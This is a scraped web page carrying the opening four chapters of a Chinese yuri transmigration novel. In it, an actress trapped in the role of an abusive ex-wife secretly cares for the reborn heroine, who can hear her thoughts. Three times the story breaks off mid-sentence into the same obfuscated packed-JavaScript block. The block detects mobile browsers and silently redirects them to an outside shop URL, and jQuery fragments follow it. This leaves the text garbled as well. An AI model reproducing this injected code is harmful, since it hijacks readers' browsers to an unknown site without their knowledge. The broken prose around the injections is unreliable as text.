《主角受她心怀不轨》
1. 你做的饭狗才会吃!
“宿主注意,主角受容莲将于两分钟后到家,请宿主做好准备。”
仿佛听到那声“action”,李惜白拿开盖在双腿上的厚厚毛毯,解开衬衫最上方的扣子,露出事先备好的口红印,无拘无束往沙发上一坐,等着主角受回家。
“主角受已到门口。”冰凉的机械女音回荡在李惜白脑中。
钥匙插入门孔的细微声音,慢慢向右转动,接着“咔哒”——
门开了。
李惜白不禁侧目。
女人正俯下身低头换鞋,一头齐腰长发倾泻下来,露出一截白皙细瘦的脖颈。
系着绳的钥匙扣被她随手放在鞋柜上,被很有巧思地编成铃兰花的形状。。
李惜白把眼神收回来,拿遥控器开了电视,随手摁了个动画片,十分符合人设地没有搭理主角受。
即使动画片的声音很大,画面中傻笑的人物也很引人注目,李惜白仍能听到主角受提起两大袋菜的窸窣声响,以及她越过自己时,那声低到不可察觉的问候。
“你回来了。”
李惜白拿起遥控器换个频道,假装没听到,只是把自己衬衫的领口扯得再大一些。
是的,就在刚刚,李惜白穿越了。
还好死不死的,穿成了一本狗血百合文中人人唾弃的前妻姐。
作为典型的渣攻,这位前妻姐不仅在主角受危难时趁虚而入抱得美人归,还在得到后毫不珍惜,每天pua主角受,不许她工作,只让她在家给自己做家庭主妇。
不仅如此,在看惯了主角受年复一日的温柔模样后,前妻姐选择了出轨,与各种女人玩一夜情,并故意在主角受面前显眼,惹得主角受伤心落泪还不算,在主角受一味忍让下依旧提出了分手。
再后来,自然就是喜闻乐见的追妻火葬场,但已经功成名就的主角受并没有吃回头草的打算,而是转身投入了自己众多爱慕者的火热追求中。
而悲痛欲绝的前妻姐,只能一个人坐拥家族企业,孤独地活在这个世界上。
对此,李惜白表示,这结局对渣攻简直不要太友好……
而系统表示,只要李惜白肯老老实实完成任务,就可以在结局无痛坐拥一切财富,过上她梦寐以求的生活。
彼时在片场被冻得瑟瑟发抖,还被导演骂不会演就滚蛋的糊糊演员李惜白,可耻地心动了。
*
容莲进到厨房,扎起头发,穿上围裙,麻木地取出买好的菜,挑摘,洗净,切碎,打开油烟机,往锅里倒入油,开始慢慢翻炒。
一切都熟练至极,日复一日做过的事,闭着眼都不会出差错。
按理说,李惜白今天回家,是值得开心的,可是——
容莲的目光掠过袋子最里面一个精致的小蛋糕盒子,那是今天她排了一下午队才抢到的,外面下着雪,她又没带伞,淋了满头的雪花只能用纸一点点擦掉。
手指因此冻得发红,她只能凑到唇边慢慢呼着白气,脸上却依旧洋溢着心满意足的笑。
李惜白喜欢吃这家的甜点,为了讨好她,上一世的容莲最爱干这种感动自我的事。
容莲微微出神,手上动作慢了下来,铲子贴着铁锅一侧,幽蓝的火舌不断舔舐锅底,滋滋的声音响起。
菜糊了。
容莲皱起眉,关了火踌躇片刻,找来个白瓷盘,把糊掉的部分藏在下面。
反正李惜白也不会吃。
如果容莲没记错,上一世,在她做好整桌菜肴后,李惜白一口没吃就掀翻了桌子,菜汤溅到她身上,她却只会狼狈地向李惜白道歉。
就连费心买来的蛋糕,都被李惜白狠狠地扔到地上,粘腻的奶油化开,如同她正在滴血的心。
痛苦的回忆再现,容莲缓缓闭上眼,脑海中浮现的,却还是李惜白脖颈上,那道鲜红刺眼的唇印。
外面电视机的声音很大,堂皇地昭示着外面人的存在。
容莲敛了眼中悲伤,重来一世,曾经的不舍和心软都一并死去,她不会再犯贱了。
不仅如此,她还要让李惜白尝尝她吃过的苦头。
李惜白已经可以隐隐闻见厨房飘出的菜香,腹中顿感饥饿,从早上早早起来等戏,到中途意外穿越,再到如今盯着电视剧发呆,这么久的时间里,她仅仅是喝了助理给的半瓶水。
没有饿晕过去,都算她坚强。
容莲备的饭菜都是清淡口味,即使有荤腥也只是用作调味,很符合李惜白的胃口。
李惜白趁容莲进厨房端菜的间隙,已经偷瞥了好几眼,每一道菜都相当满意,正想着一会要怎样不崩人设地大快朵颐时,倒霉催的系统发出了任务:
“请宿主掀翻饭桌,对主角受进行辱骂,说她做的饭狗才会吃。”
全程都在等饭的李惜白:……
有没有搞错啊喂!
容莲解下围裙,几缕碎发在做饭时跑到了额前,衬着她白皙到透明的脸,她随手别到耳后,而后冷冷地望向不动如山的李惜白。
“阿白,吃饭了。”声如碎瓷,清澈灵透。
即使知道那人懒得回应,容莲还是礼貌地喊了一声。
说完,她自顾自拉开椅子坐下,扫了一圈尽是清淡口味的菜肴,嘴角勾出一个自嘲的笑。
就算是重生了,她也依旧清晰地记着李惜白的喜好,反倒是一点顾不及自己。
窗外的世界依旧雪白寒冷,白光反照进来,原本温馨的小窝显得格外疏离冷漠。
但很快,一道身影站在容莲身侧,挡住冰凉白光。
棕色的短发在光的轻抚下仿若虚影,给人不真实的感触。
李惜白馋得哈喇子都要流出来了,却还是为了维持人设,矜持问道:“我坐哪?”
容莲默默看了她一会儿,拉开旁边的椅子,给她递过碗筷。
伺候李惜白这件事,熟悉到可以刻进基因了。
系统眼见不对,立刻出声提醒:“请宿主完成剧情。”
李惜白充耳不闻地坐下,夹起菜就往嘴里塞,什么女演员的优雅姿态全都顾不上,饭一进到嘴里,眼泪都要感动地奔涌而出。
脑中金光闪烁,系统的警告声一声比一声强烈。
“请宿主不要做无关剧情!”
“请宿主不要做无关剧情!”
“请宿主不要做无关剧情……”
李惜白突然止了筷。
容莲正用
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722329|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着复杂至极的表情看着她,眉头微微蹙起,见李惜白止筷起身,以为她要掀桌,便也随着起身,以防待会被菜汤溅到。
却只见李惜白端着空碗进了厨房,过一会,捧着盛了满碗的白米饭出来。
李惜白根本不管容莲为什么愣愣站在一旁,坐下继续闷头进食。
甚至看到连那块糊掉的菜,李惜白都是眼也不眨地夹到碗里,仔细挑掉黑到不能再吃的的部分,一点也不浪费。
容莲的手不忍抬起,却又犹豫地落下。
大概这人真饿了吧。
等到两碗饭下肚,胃才仿佛有了存在感,李惜白终于注意到身边人的异常。
“你……站着干嘛?”李惜白问得一脸真诚。
容莲垂下眼,不冷不淡道:“不太饿。”
系统已经气得发懵,机械女音都有了咬牙切齿的效果:“若宿主无法完成剧情,将会被遣送回原世界!”
李惜白从从容容地放下碗筷,见容莲实在没有胃口,开始将桌上的饭菜一盘盘往厨房搬。
而后,在容莲极度不解与疑惑的目光中,李惜白双手向下,四指在下面托住桌面,猛然上抬,用力掀翻了这张空桌子。
“哐当——”
随着这声巨大的声音响起,极为恶毒的台词从李惜白口中说出:
“你做的饭狗才会吃!”
没有瓷盘碎裂,没有菜汤飞溅,唯一的影响大概就是会被楼下投诉扰民。
容莲被李惜白吓了一跳,不解地看向那人。
刚刚吃的最欢的人,难道不是她自己?
李惜白已经进入了深度表演状态,眼神透露出三分不屑三分讥讽四分漫不经心,如果那位导演看到此刻的李惜白,估计要敲着她脑袋骂:
“假透了!你当观众是白痴吗!”
白痴容莲皱起眉,突然听到一阵阵回荡在屋中的声音。
——“朕决定了,封你为朕的御用厨师。”
——“赏,大赏,赏你这辈子都给我做饭。”
余音绕梁,久久不绝。
只听音色,很轻易就能辨认出这是李惜白的声音,只是李惜白的唇始终抿着,不曾张开片刻。
——“她在看什么?为什么不答话?”
等到这句话,容莲愣住,意识到这是李惜白的心声。
再坚定的唯物主义者,在经历重生后,都不可能彻底相信科学了。
容莲微微弯起唇角,如水的眼眸仿佛闪着粼粼波光,轻声道:“冰箱里还有蛋糕。”
——“就知道你是朕最得意的厨子!”
李惜白努力掩饰住内心激动,扬起下巴,冷言道:“以为这样就能讨好我?”
——“可以的!可以的啊喂!”
容莲故作苦恼地握拳抵住下巴,微微歪头:“糟糕,好像没有放到冰箱,上面的冰淇淋应该已经化掉了。”
话音刚落,容莲的面前只余一道冲向厨房的残影。
同时,巨大的哀嚎声在耳边响起。
——“护食不力,我要贬你啊啊啊啊!”
容莲的眼中闪过一抹笑意,接着又被冰冷覆盖。
这个李惜白,在搞什么鬼。
2. 可恶的妹控
因为担心融化,李惜白三下两除二便将一整块小蛋糕吞咽下肚,连味都没尝明白,开始后悔为什么刚刚没有细嚼慢咽。
这东西对于女演员实在是稀罕物,平时吃一口就要被逼着上跑步机,就今天吃的这些量,足够她跑一个月了。
冬天的黑夜来得很快,明明刚才还白光大照,此刻外面却已经黑透了。
趁着容莲去洗澡的间隙,李惜白开始让系统评估剧情。
“剧情完成度检验中……进度百分之九十……”
“检验结果成功,该剧情已顺利完成,请宿主再接再厉。”
李惜白用软勺子扒拉着空荡荡的蛋糕盒,毫不意外地“哦”一声。
只是让掀桌子而已,又没说是饭前掀还是饭后掀,这样安排,当然合理。
不放心的系统又开始唠叨:“希望宿主下次认真完成剧情,不要做不相干的事,不然将即刻被遣送回原世界。”
李惜白又是敷衍地“哦”一声。
浴室里淅沥的水声止住,半晌,吹风机的嗡嗡声响起。
李惜白想抹掉脖上的鲜红唇印,粘腻一片粘住领口的感受并不好,却怎么擦都不干净,想着用水冲一冲。
站在浴室门口,手指弯起刚要敲,门就从里面被拉开。
李惜白愣了愣。
容莲的肤色很白,在冲过水后更甚,仿佛出浴的白莲一般,却又带着雪一般的透骨冰冷,她的目光向下,看见李惜白脖间模糊一片的红色痕迹,又很快移开,轻轻开口:
“我有话对你说。”
*
李惜白终究没能去洗掉唇印,被迫坐在沙发上,故意摆出一副不耐烦的表情,听主角受容莲到底要和她说什么。
“我想回公司继续工作。”容莲慢慢梳着头发,目光不再落到李惜白身上。
“警告,由于宿主刚才的不当行为,剧情出现偏差,请宿主完成突发任务:拒绝主角受重回职场的请求,并恶意嘲讽。”
按照剧情,主角受重寻设计师梦,走上人生巅峰,是在被渣攻甩掉后才开始的,而不是现在。
李惜白冷笑一声:“那个公司?你还敢去?”
容莲手中的动作顿时止住,冰冷的触感从指尖向上蔓延。
六年前,容莲第一次从北方的偏僻小县城逃到南方大城市,湿沉的风,温热的空气,这与以往都不同的新奇感受让她心尖颤动,她站在天桥上往下望,到处都是川流不息,霓虹闪烁……
也就是那天,容莲决定在这里闯出一片属于自己的天地。
没有专业知识的她只好先从助理做起,白天忙碌,晚上还要熬夜自学,凭借出色的天赋被一位业内大拿赏识,在她的帮助下成功聘入一家时装公司担任设计师。
就在她以为一切向好发展时,许久不见的父母跑到了她的公司,当着全公司的面大骂容莲是不要脸的小偷,偷了全家的钱跑来大城市享福,让他们连给儿子治病的钱都拿不出。
两人说得声泪俱下,容莲顿时成了众矢之的,被戳得脊梁骨都直不起来。
可只有容莲一人知道,那五百块钱,连来往的车费都付不起,怎么会成为全家的家当。
如果她没有从家逃走,怕是早就被重男轻女的父母嫁给某个中年男人,换钱给他们儿子攒彩礼了。
而她亲爱的父母今天来到这,也不过是因为她弟弟在外面乱搞,染了脏病,需要她出钱医治。
于是,辛辛苦苦攒的钱被父母全部掏空,公司里原本对她敬佩有加的人开始指指点点,那些本就嫉妒她的人更是变本加厉,开始大肆散布谣言。
容莲没有经历过这样的事,对于当时的她,似乎只有逃避这一种办法。
她从公司辞了职。
无其他长处的她为了支付房租只能去刷盘子,能画出精巧设计的手终日泡在油腻与泡沫中。
就是在这时,她遇到了前妻姐。
*
李惜白见自己一句话就让主角受整个人沉浸在悲伤中不可自拔,顿时感觉自己今天的演技超常发挥了。
同时心中也开始忐忑不安。
——“伤心什么啊,那个小公司又配不上你,你以后可是要走上国际的。”
容莲怔怔地抬起头,对上眼前人的目光。
那双浅色眼眸中,似乎,有一抹不可察觉的担心。
“请宿主继续否定主角受的价值,让她彻底失去信心。”
李惜白微微皱起眉,心中不快,却只能为完成剧情不得不冷漠开口:“连大学都没上过,还指望能在职场混出什么成就吗?”
仿佛触动了深藏于心中的一根刺,容莲垂下眼,眼中的希望不再。
她在想什么呢,李惜白怎么可能会改变,她总是这样,明明知道自己最在意什么,却还是要一遍遍朝着这个地方深刺,直到刺到鲜血淋漓,一切似乎也麻木到可以接受了。
——“要不是那对狗夫妻,你怎么可能上不了大学,好惨的一个小姑娘,要是我有你这个脑子,我早就考上清华北大,羡慕死那群狐朋狗友了。”
一句话又把容莲从感伤中拉回来。
原来,她这么崇拜自己?
容莲慢慢眯起眼。
“我看,你不如先去我姐公司里磨练磨练,等学会了再出去,可不要给我丢人。”李惜白自认为人渣地冷笑道。
不等容莲反应,李惜白先站起身,自上而下将容莲扫视一番,讽刺道:“明天先去买两件衣服吧,土死了。”
——“明天想喝皮蛋瘦肉粥。“
——“哦不对不对,豆浆也很好。“
——“烤面包好像也不错……”
直到李惜白进了浴室,环绕在容莲耳边的菜谱才止住音。
唇不自觉勾起,轻笑出声。
*
李惜白是被脑中不停轰炸的系统叫醒的,睁开眼,摸过手机,才早上七点。
“请宿主立刻解释昨晚行为!为什么允许主角受去公司工作!”系统气急败坏,叫得李惜白脑子都发疼。
她坐到床边找拖鞋,边打着哈欠边没精打采地解释:“放心,我会安排好的,找人给她设障,让她在公司吃尽苦头,这么才能更好地磨灭她的自信不是?”
“可是……”饶是机器,这时候也被李惜白的逻辑打得措手不及。
主角受应该在与渣攻分手后再重入职场,绝对不应该是现在。
但是如今的目的就是要将主角受最后的自信与尊严抹灭,这样才能让她破茧成蝶、凤凰涅槃。
短暂地将主角受送入职场,派人侮辱她的能力,诋毁她的天赋,无疑是最好的办法。
系统又“可是”了几声,便彻底死机。
李惜白走出卧室,环顾了一圈,没见到容莲的身影,只有沙发上还遗留着一床整齐的单棉被。
前妻姐买房子的时候没考虑两人会分房睡,另一间客房摆满了杂物,导致如今李惜白回来时,容莲只能睡沙发。
那张小圆木桌也被扶了起来,还温热
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722330|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着的瘦肉粥散发着淡淡饭香……
啊,主角受真是贴心呢。李惜白笑眯眯地想。
*
穿梭在人群中,容莲仿佛嗅到了新生的味道。
灰色的大衣与周围还未融化的白雪和谐成一片,散在肩头的黑色长发柔顺如缎,容莲望着眼前的高楼,确定这就是李惜白姐姐的公司。
与不学无术李惜白不同,姐姐李青作为家中长女,自然而然地承担起了家族大业,虽然如今被母亲送到分公司历练,可任谁都不会怀疑,李氏集团的继承人终究会是李青的囊中之物。
上一世,容莲也只是浅听过李惜白谈起过几句,从那只言片语中,除了听出这俩姐妹根本不熟以外,也只得到这样一个结论。
李青是个很优秀的设计师。
……
接待小姐彬彬有礼地接过容莲递过来的名片,微笑道:“李总早吩咐过了,您来先去见她。”
容莲点点头,跟着她上电梯。
接待小姐频频望着这位容貌姣好的姑娘,不由得暗自感叹。
这年头,连走后门的都长得这么漂亮吗?
不知身边人想法的容莲只是紧握着手中提包,她虽然对自己的能力有着绝对自信,可是见到李青这种从外国进修过的专业设计师,内心总是忐忑的。
若她没记错,上一世她获奖时,这个叫李青的女人,就坐在评委席。
“叮”一声,电梯门打开,容莲随着接待小姐走出去,来到一间办公室。
一位穿着修身白衬衫,领口微敞,看着很年轻的女人正坐在老板椅上劈头盖脸地骂一个青年人。
青年人的脸涨得通红,却只默不作声地低着头。
等女人畅快骂完,才把目光移到容莲身上,眉头微皱:“这是谁?”
接待小姐也被吓个不轻,慌不择口道:“是惜白小姐送来的人,让您安到设计部的。“
李青哼笑,“哦,走后门的那个啊。”
容莲的目光扫过这间办公室,看似随意简约,却很有小巧思,点缀的植物与浅灰色基调相互衬托,既不过于沉重,却也不失威严。
自知说错话的接待小姐慌忙退出去关了门,办公室只余下那两人。
“怎么,我妹妹是看上个哑巴?”见容莲许久不应,李青不满道。
容莲只是向前走,等到离李青的办公桌三米远时停下,而后突然弯腰鞠躬:“谢谢您让我来这里工作。”
诚恳的语气,仿佛一朵任再多打压都会顽强向上的小白花。
李青憋了满肚子的挖苦顿时发不出来了。
容莲再直起身,恢复优雅,微笑道:“我在家求了阿白好久,她才同意我来您的公司工作,她还说,不是什么人都能进她姐姐公司的,要让我努力向您学习,为您效力。”
李青的脸莫名红了:“她……真这样说?”
“嗯。”容莲露出开朗活泼的笑容,如春日暖阳般温和。
已经活了两辈子,容莲最知道这种手掌高位的天之骄子心里在想什么,而她自己也并不是宁折不屈的青竹,为了得到自己想要的,什么漂亮话她都说得出来,什么腰也都弯得下。
“算了,”李青掩饰地喝了口茶,“小白就是喜欢瞎闹,我实在管不了……不过你既然到了我的手下,就要好好干出一番成就知道吗?”
容莲乖巧地点头,内心却早对这位专业设计师去魅了。
谁能想到,骂人骂的风生水起的李总,竟然是个该死的妹控呢。
3. 有人敢欺负我的人?
“我们预测,20XX年春夏季的时装圈将迎来一个长期主义与慢时尚的季节,消费回归理性,追求更耐用、经典且环保的衣物,可持续材料将受到重视……”
一位衣冠楚楚的年轻女人正在台上发表自己的见解,脸上扬起得意的笑容,她几乎已经听到众人接下来敬佩的掌声。
然而,就在她演讲完毕,缓缓鞠躬后,一个不和谐的声音响起。
“我有其他看法。”
年轻女人的笑容僵在脸上。
说话人是位皮肤白皙的美女,一头如瀑长发齐腰,深绿长裙裹着纤细的身形,给人优雅疏离的错觉。
然而这面孔她并不熟悉,大概是那位新加入的关系户。
年轻女人在心底不屑地笑,这些千金小姐被捧习惯了,总以为自己是与众不同,最为独特的那个。
不过,这可是她工作了十余年的领域,区区一个家人宠坏的娇小姐,怎么能轻易看透。
年轻女人做出一个“请”的动作,微笑着下了台,打算看这位娇小姐搬起石头砸脚的好戏。
容莲毫不客气地走上去,手中没有任何稿件,先向众人鞠了一躬,便开口道:
“我认为,20XX年春夏季还将崛起一个更为独特的潮流,那便是告别单调,风格融合,追求个性化。”
“在告别重大传染病的束缚后,人们渴望通过穿着来表达个性与反叛,其内核是追求自由浪漫……”
台下的李惜白早就昏昏欲睡,容莲的这番话更是让她深入梦乡,直到一阵雷鸣般的掌声轰起,李惜白才被惊醒。
容莲的目光满意扫过台下,也看见了茫然的李惜白。
那句发懵的声音穿过人山人海,精准地到达容莲耳边。
——“老天,这家伙这么受欢迎吗?”
容莲的唇弯了一下。
容莲进公司这一个星期,李惜白都没有回过她们的小家,却又在此刻出现在台下。
她自然不信李惜白的好心,只觉这人大概是觉得她有了利用价值,才回心转意来看她一眼。
就如同上一世,只有拼命爬到了那个高度,李惜白才能再次看见她。
——“她穿这身倒也很漂亮,嘿嘿。”
那声傻得冒泡的笑同样进了容莲的耳朵,容莲忍不住低下头,审视自己的穿着。
原来,她喜欢绿色吗。
待众人鼓掌结束,一声突兀的清脆掌声再次响起,像是要彰显自己的与众不同。
众目睽睽下,李青鼓着掌上了台。
“小莲,说得不错。”连开口都浸满了领导味。
坐在台下的李惜白若有所思。
小说末尾,主角受容莲已经收获了众多爱慕者,包括但不限于明艳动人的美人影后攻一,相爱相杀的竞争对手攻二,温柔体贴的小助理攻三……
而她这位姐姐李青,是攻四。
不过这位肩扛大任的长女爱在心头口难开,又不敢向外界公然出柜毁坏形象,只好在背后默默支撑,也因此,主角受甚至不怎么认识她。
不过,由于小说是开放式结局,结尾是主角受在收到一条短信后,便坐上了飞机。
没人知道她要去哪,也没人知道她最后选的人是谁。
恰好旁座女孩是她的粉丝,好奇地问容莲要去什么地方。
容莲却只是望着窗外云雾,静静道:
“谁知道呢。”
*
设计部来了个走后门的,这不是件稀奇事,但这位关系户不仅美得惊天动地,还在刚交接完工作就让一向以严厉著称的李总夸赞,这就马上成为全公司炙手可热的新闻了。
部门经理Lucia几乎要感叹自己的好命,刚被李总骂辞职一个核心人员,就又添了新血液,还是个特浓特红的新血液,不仅长得好,性子也好,有什么理念冲突会耐下心跟每个人仔细讨论,完全没有那群臭设计师的烂脾气。
容莲已经干了两辈子服装设计,也对上辈子此时的新季潮流烂熟于心,任何一家的新季预测都不如她的精准,这也预示着,这辈子,她定是要走上巅峰的。
就连认为容莲是狐媚子的李青,都开始对她青眼相加,甚至主动给她加了工资。
当然,其中也有心存不满的人。
她叫Jill,是设计部的二把手,自从设计部的核心一把手被李总骂跑后,她本该顺顺利利地担起大任,引领起整个设计部。
可自从那天,一位天降关系户出现,在台上抢了她的风头后,一切就往她最不愿看到的方向发展了。
性格讨喜,长相优渥,似乎和李总有着特殊关系的容莲,几乎受到了整个公司的爱戴。
而她,在公司混迹了十多年,本以为终于到了大展身手的时刻,却被容莲的光压成了阴影一片。
这要她怎样甘心?
外面的天已经黑了,办公区仅剩下零星几个人,容莲负责设计草图,改了几版都不满意,从下午一直拖到晚上,最终版才定案。
天色已晚,加班的同事也都离开了。
反正今晚李惜白也不会回家,干脆在公司凑合一晚。
合上电脑,将废稿纸收进柜子里,眼皮便像胶水一般粘起来,沉沉睡去。
“咔。”
黑暗中,一双手打开了容莲办公桌的柜子。
*
朦胧中,有人拍了拍她的背。
“小莲,快醒醒,你是不是发烧了?”
容莲迷茫睁开眼,面颊绯红,眼中弥漫着水汽,身上披着的大衣早掉在了地上。
估计是昨晚着凉了。
部门经理Lucia看着她这可怜模样,不免感叹这人真是够拼命的,一个不要紧的设计稿,换别人能磨半个月洋工,偏偏她就非要加班加点地赶出来。
“小莲,今天回去休息休息吧,别累坏了。”Lucia递过去几张洁白纸巾,弯下腰捡起大衣,体贴道。
容莲道了声谢,声音却有些哑,双手接过纸巾迟钝地停了一会,才又道:“不要紧的。”
吃苦对她来说是家常便饭,更何况这只是小感冒而已。
Lucia不放心地摸上她额头,不由得厉声:“怎么会没事,都这么热了。”
“吃点退烧药就会好的,”容莲对自己的身体状况毫不关心,强撑着露出微笑,“谢谢Lucia姐了。”
Lucia虽然是领导,却好说话得很,平时给也常给员工发福利,人缘很好,从不愿意让别人称呼职位。
能得到这样不怕累不怕死的下属,该是件好事,可Lucia又担心这样下去万一出什么意外,那她还怎么在公司立足?
催着容莲吃了药,漂亮的人连生病都别有一番风味,黛玉一般慢慢喝着水,黑色的眸子裹着水汽。
容莲是很有东方美感的人,也因此,Lucia并未强制要求她改英文名,那样多少有些不伦不类。
Lucia走后,陆陆续续的同事也前脚赶后脚地到了,见容莲一副病容,不免都上去关心了一番。
只有Jill默默翻了个白眼。
真会出风头,装给谁看啊。
容莲觉察出了这并不明显的恶意,但并不在意,没有谁能和所有人搞好关系,自己又不是像画一样完美的人,内心的恶劣程度更是连自己都会被吓到,被人讨厌是很正常的事。
*
午休的时候,几个同事凑在一起聊天,从工作聊到了最近的压力,进而又聊到了家庭。
容莲因为喝了药的缘故,一上午都昏昏沉沉的,此刻靠着护枕休息,没有参与到闲聊中。
Jill的余光一直放在容莲身上,笑得很体面:“话说小莲的压力一定很小吧。”
话语里暗戳戳抱怨着容莲关系户的身份,试图也引起其他人的不满。
而别人只是笑了笑,没有拿她这位老前辈说的话当回事。
Jill暗暗咬了咬牙,声音大了些:“小莲,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722331|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎么不来聊天啊?”
被吵醒的容莲心里多少有些不耐,取下脖上的护枕,淡淡回:“抱歉,有些累。”
Jill还在不依不饶,“看看人家,我们这群皮糙肉厚的可不会熬个夜就生病,我说小莲,多养养身体吧。”
这下是个明白人都能看出Jill话语里的嘲讽了,气氛尴尬下来,没人再肯讲话。
容莲不屑于这种无聊的争斗,装作听不懂里面的恶意,微笑着回:“是啊,谢谢Jill提醒了。”
连个Jill姐都不肯叫。
Jill手中的水杯攥得很紧,面色不太好。
等着吧,容莲,马上你就笑不出来了。
*
纷纷扬扬的碎纸屑砸在容莲头上,刺耳的女音响起:
“好啊,抄袭都不承认是吧,仗着家里有关系,就无法无天了?”
这种耍无赖的语气很熟悉,让容莲想到自己的爸妈,当然,他们骂得更脏一点。
所有人都围了过来,安抚着恼怒的Jill。
“说不定只是凑巧呢。”
“对啊,还是有不一样的地方的,撕破脸可就不好了。”
Jill充耳不闻,转头向Lucia求证:“Lucia姐,这个设计稿我可是昨晚就发你了,她在公司待到这么晚,指不定做了什么偷鸡摸狗的事!”
Lucia的面色同样不虞,即使她愿意相信容莲,
被人泼脏水的场景再次出现在眼前,习惯性的不知所措却几乎要压倒冷静。
明明只是这么浅显的污蔑手段……
因为生病,容莲的头很沉,脑子也不是太清楚,眼前的一切都如同碎纸屑般变得轻飘飘。
“这是做什么。”
一声低沉女音打破了僵局。
穿着高领白衬衫的李青踩着黑高跟出现在众人面前,语气不悦。
果然,这个勾引她妹妹的容莲不是什么安分人,刚来公司就闹得这么一出,这几天积累起的好感也在看到这场景后全部烟消云散了。
见李青又是要发火的架势,Lucia慌忙开脱道:“没事没事,一点小误会,俩人没控制住情绪。”
李青也并不在乎到底发生了什么,直接一棍子全打死,“一群人鬼混在这里吵架,我是让你们来吃白饭的吗,搞得整个办公室死气沉沉的,还有门口那是谁的快递箱,不知道拿一下吗,绊倒人怎么办……好了,这个月工资扣一半,就这样吧。”
容莲揉了揉太阳穴,哑声道:“可以看监控。”
Jill本来还担心李总会偏心这位关系户,见到她这样一视同仁后反而放下心来,大声应和:“对啊,看监控,把事情弄清楚,凭什么无缘无故地罚我!”
她这话说完,就觉得被一个阴恻恻的眼神扫了一眼,把头转过去,却又只见因病而面色苍白的容莲正楚楚可怜地摘着头上碎纸屑,哪里有看她。
“监控最近坏了……”Lucia弱声道。
“搞这么麻烦干什么,”李青锁着眉,“要是不想干了就滚,我不缺你们这两个人。”
监控坏掉是Jill早就知道的事,可她没想到这事会把李青扯进来,还可能失去这份持续十几年的工作,顿时有些慌。
“算了……”Jill的态度软下来,“就当我吃了亏,不小心和别人的稿子撞了,这总行了吧。”
Lucia抓住时机当和事佬,“是啊,就这样算了,别给李总添麻烦,小莲你说是不是啊?”
看着Lucia殷切的目光,容莲的大脑愈发昏沉,虽然知道这事会破坏自己的名声,却好像也并无办法。
至于和对方大吵大闹,不弄清楚不罢休,最后搞得两败俱伤这种愚蠢的行为,她也的确做不出来。
容莲点了点头。
这时候,门口传来一声巨大的碰撞声。
随之而来的却是一个嚣张的女音:
“有人敢欺负我的人?”
4. 试探
看清来人后,李青脸上的厉色顿时有些缓和,有些责备地看着一瘸一拐还在努力装帅的李惜白,关心道:“怎么也不看着路。”
李惜白努力维持着自己的体面,刚刚被门口快递箱绊倒的时候,硬是一声都没叫。
众人除了容莲,自是没见过李家这位二小姐的,但看李青对她态度那样好,不由得肃然起敬起来,关心地上前去扶。
“没事没事。”李惜白觉得自己有些囧,本来计划一路的帅气出场却成了搞笑情节。
容莲见李惜白来了,虽然面上毫无波澜,内心却不免有些埋怨。
为什么总是出现在她落魄的时候呢。
谢了扶自己的两位女生,李惜白来了表演的感觉,冷笑道:“听说你抄袭别人的设计稿了?”
容莲低着头,不想答话。
李惜白见状,便开始了独角戏:“你知道的,我最讨厌小偷了,偷别人的心血,心安理得地当成自己的,还要反过脸来污蔑别人,这样的人,简直就是臭水沟里连老鼠都要躲的烂泥——”
“你骂谁呢!”Jill的脸涨得通红。
李惜白微笑:“骂你啊。”
“你算个什么东西!你知道什么!”
“你先把创作痕迹拿出来再说话,有人证和物证吗,你凭什么证明那是你的原创?”
这样明目张胆的维护让Jill有些招架不住,只好把目光看向众人,试图有人站出来替自己说话。
可这群刚刚没为容莲出头的人,自然也不会帮她,一个个目光闪烁着。
“她是我妹妹。”像是回应Jill那句“你算什么东西”,李青平声道。
Jill只觉得天塌了一般。
惹恼了这位恶名在外的二小姐,Jill已经预料到自己的下场了。
她紧攥住拳,面上却释然一般笑了笑:“好,我明白了,我在这勤勤恳恳干了这么多年,却还要像个猴子一样被你们耍,很有趣是吧,那我告诉你,老娘我今天不干了!”
说完,几滴掩饰不住的泪落下来。
这模样得壮烈十分,如同被冤枉到极点的可怜人最终选择鱼死网破。
好歹Jill也算公司的老人,这下子,别人看向容莲的目光都抱着埋怨之情,仿佛她是那个为了一己私欲对同事下狠心的人。
容莲知道,如果Jill就这样走了,自己在这个公司就难待了。
头愈发昏沉,身体几乎要支撑不住地倒下。
李惜白突然不满地“啧”一声,抱着臂道:“走什么走,先把话说清楚。”
有人给Jill递过纸巾,她接过擦了擦泪,眼眶通红,声音发抖道:“你们不要欺人太甚了。”
连李惜白都要被她的演技折服了。
这家伙不该在这画稿子,该去演戏。
“你才知道啊,我今天还就欺人太甚了。”李惜白笑了笑,充分发挥无赖特性。
